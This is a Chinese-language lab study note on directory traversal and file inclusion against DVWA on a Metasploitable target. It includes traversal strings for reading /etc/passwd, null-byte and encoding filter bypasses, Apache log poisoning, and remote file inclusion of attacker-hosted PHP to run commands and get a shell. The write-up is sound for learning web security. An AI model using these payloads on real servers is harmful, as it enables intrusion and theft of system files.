Kali學習筆記31:目錄遍歷漏洞、文件包含漏洞


文章的格式也許不是很好看,也沒有什么合理的順序

完全是想到什么寫一些什么,但各個方面都涵蓋到了

能耐下心看的朋友歡迎一起學習,大牛和杠精們請繞道

 

目錄遍歷漏洞:

應用程序如果有操作文件的功能,限制不嚴格會導致可以訪問到WEB目錄意外的文件

目錄遍歷漏洞和文件包含漏洞本質以及利用方法一樣

一定要論區別的話:

目錄遍歷:對本操作系統的文件進行讀取

文件包含:1:LFI本地文件包含,和目錄遍歷一致;2:RFI遠程文件包含

漏洞原因:目錄權限限制不嚴格

 

漏洞利用示例:

啟動Metasploitable靶機:192.168.163.129

啟動Kali機器:192.168.163.132

 

在DVWA的這個目錄存在文件包含漏洞:本地文件包含

 

我們可以在Metasploitable中修改配置文件以開啟遠程文件包含漏洞:

sudo vi /etc/php5/cgi/php.ini

然后輸入/allow_url進行搜索:找到這里,修改成On

然后重啟Apache服務:

sudo /etc/init.d/apache2 restart

這時候Metasploitable就會存在遠程文件包含漏洞了

 

目錄遍歷漏洞的特征要注意:

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

 

常用漏洞驗證方式:

1:../../../../../../(多少個../都行,越多越好)/etc/passwd

 

URL上這一串東西的意義:../返回上級目錄,當返回到根目錄時候再../還是根目錄,然后直接進入linux系統的passwd文件

 

2.file:///etc/passwd(這里是文件包含漏洞,不過利用方法一致)

 

3.http://xxxxx

 

前兩者用途:可以讀取到目標系統的機密文件

遠程文件包含用途:可以構建一個帶有shellcode的網站,使目標訪問,進而得到shell(雖然是低權限shell)

 

注意事項:

1.有時候?page=../../../etc/passwd,顯示找不到passwd.php文件,這是目標系統開啟了過濾機制

繞過辦法:PHP5.3版本以前的,可以用一個空字符%00來解決,示例:

?page=../../../etc/passwd%00

這時候就算目標機器補上一個.php,也無所謂

 

2.有的服務器會過濾非法字符,比如/\$&.*等,我們可以采用一些編碼來處理

路徑方面,linux一定是/,windows通常是\,但有可能是/,實際中可以多次發送根據結果來得到答案

編碼方面:示例

URL編碼:

../     %2e%2e%2f

..\     %2e%2e%5c

..\     %252e%252e%255c (雙層URL編碼)

 

Unicode/UTF-8編碼:

../     ..%c0%af     ..%u2216    

..\     ..%c1%9c

 

編碼工具:之前介紹的很多工具都有,我用Burp來舉例

 

可以用URL編碼后的字符做嘗試:成功

 

 

上邊說到本地文件包含來查看文件內容

通常認為本地文件包含漏洞無法執行代碼

萬事沒有絕對,有極其特殊的方式可以執行代碼

比如:利用訪問日志

當我們訪問一個WebServer例如Apache時候,就會有訪問日志

會記錄下來訪問IP和訪問的URL等一些簡單的信息

我們用nc連接到目標的80端口:發送一段這樣的東西

 

 

然后會在apache的日志中插入一段php代碼:然后對日志文件chmod,改為可執行權限

如果失敗了的話,多層chmod,使訪問目錄的所有層都賦予權限,然后利用文件包含,有機會執行代碼(不一定成功)

 

遠程文件包含示例:

我先用NC偵聽本地80端口:

 

遠程文件包含到Kali機器:這是輸入Kali的IP,至於URL隨便寫

 

然后一直顯示連接狀態

查看NC,發現收到了連接請求:

 

nc只是獲得了連接請求,實際沒用

下面展示實際使用方式

利用Kali本機的Apache服務

到/var/www/html目錄下,新建文本 1.txt,寫入上邊的php代碼(或者搞個木馬腳本都行,這里為了方便)

 

保存之后開啟Apache服務

 

然后測試:

 

 

成功執行了ls命令

到這一步就相當於拿到了shell

 

最后:

我們可以查看DVWA這里的遠程文件包含的源碼:

LOW級別:直接獲取文件名

 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 

 

MEDIUM級別:過濾特殊字符,導致無法遠程文件包含

解決方法:編碼

比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

如果失敗,就可以只針對http://中的某個字符,比如/進行編碼

如果還是失敗,可以進行一種巧妙的方法

非常經典的關鍵字繞過方法:

hthttp://tp://192.168.163.132

我在一個http://中插入了一個http://,服務器只會識別一次,如果兩個分開寫都會被過濾,穿插來寫,只會過濾一個

 <?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?> 

 

HIGH級別:規定寫死,只能包含include.php

這種方式基本無解了,沒有漏洞,或者我水平低下找不到漏洞

 <?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?> 

 

 

總結:

遠程文件包含漏洞出現概率遠遠小於本地文件包含漏洞

但是遠程文件包含漏洞更容易被利用

 

 

大學生,生活不易,如果有大佬願意贊賞,在此多謝


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM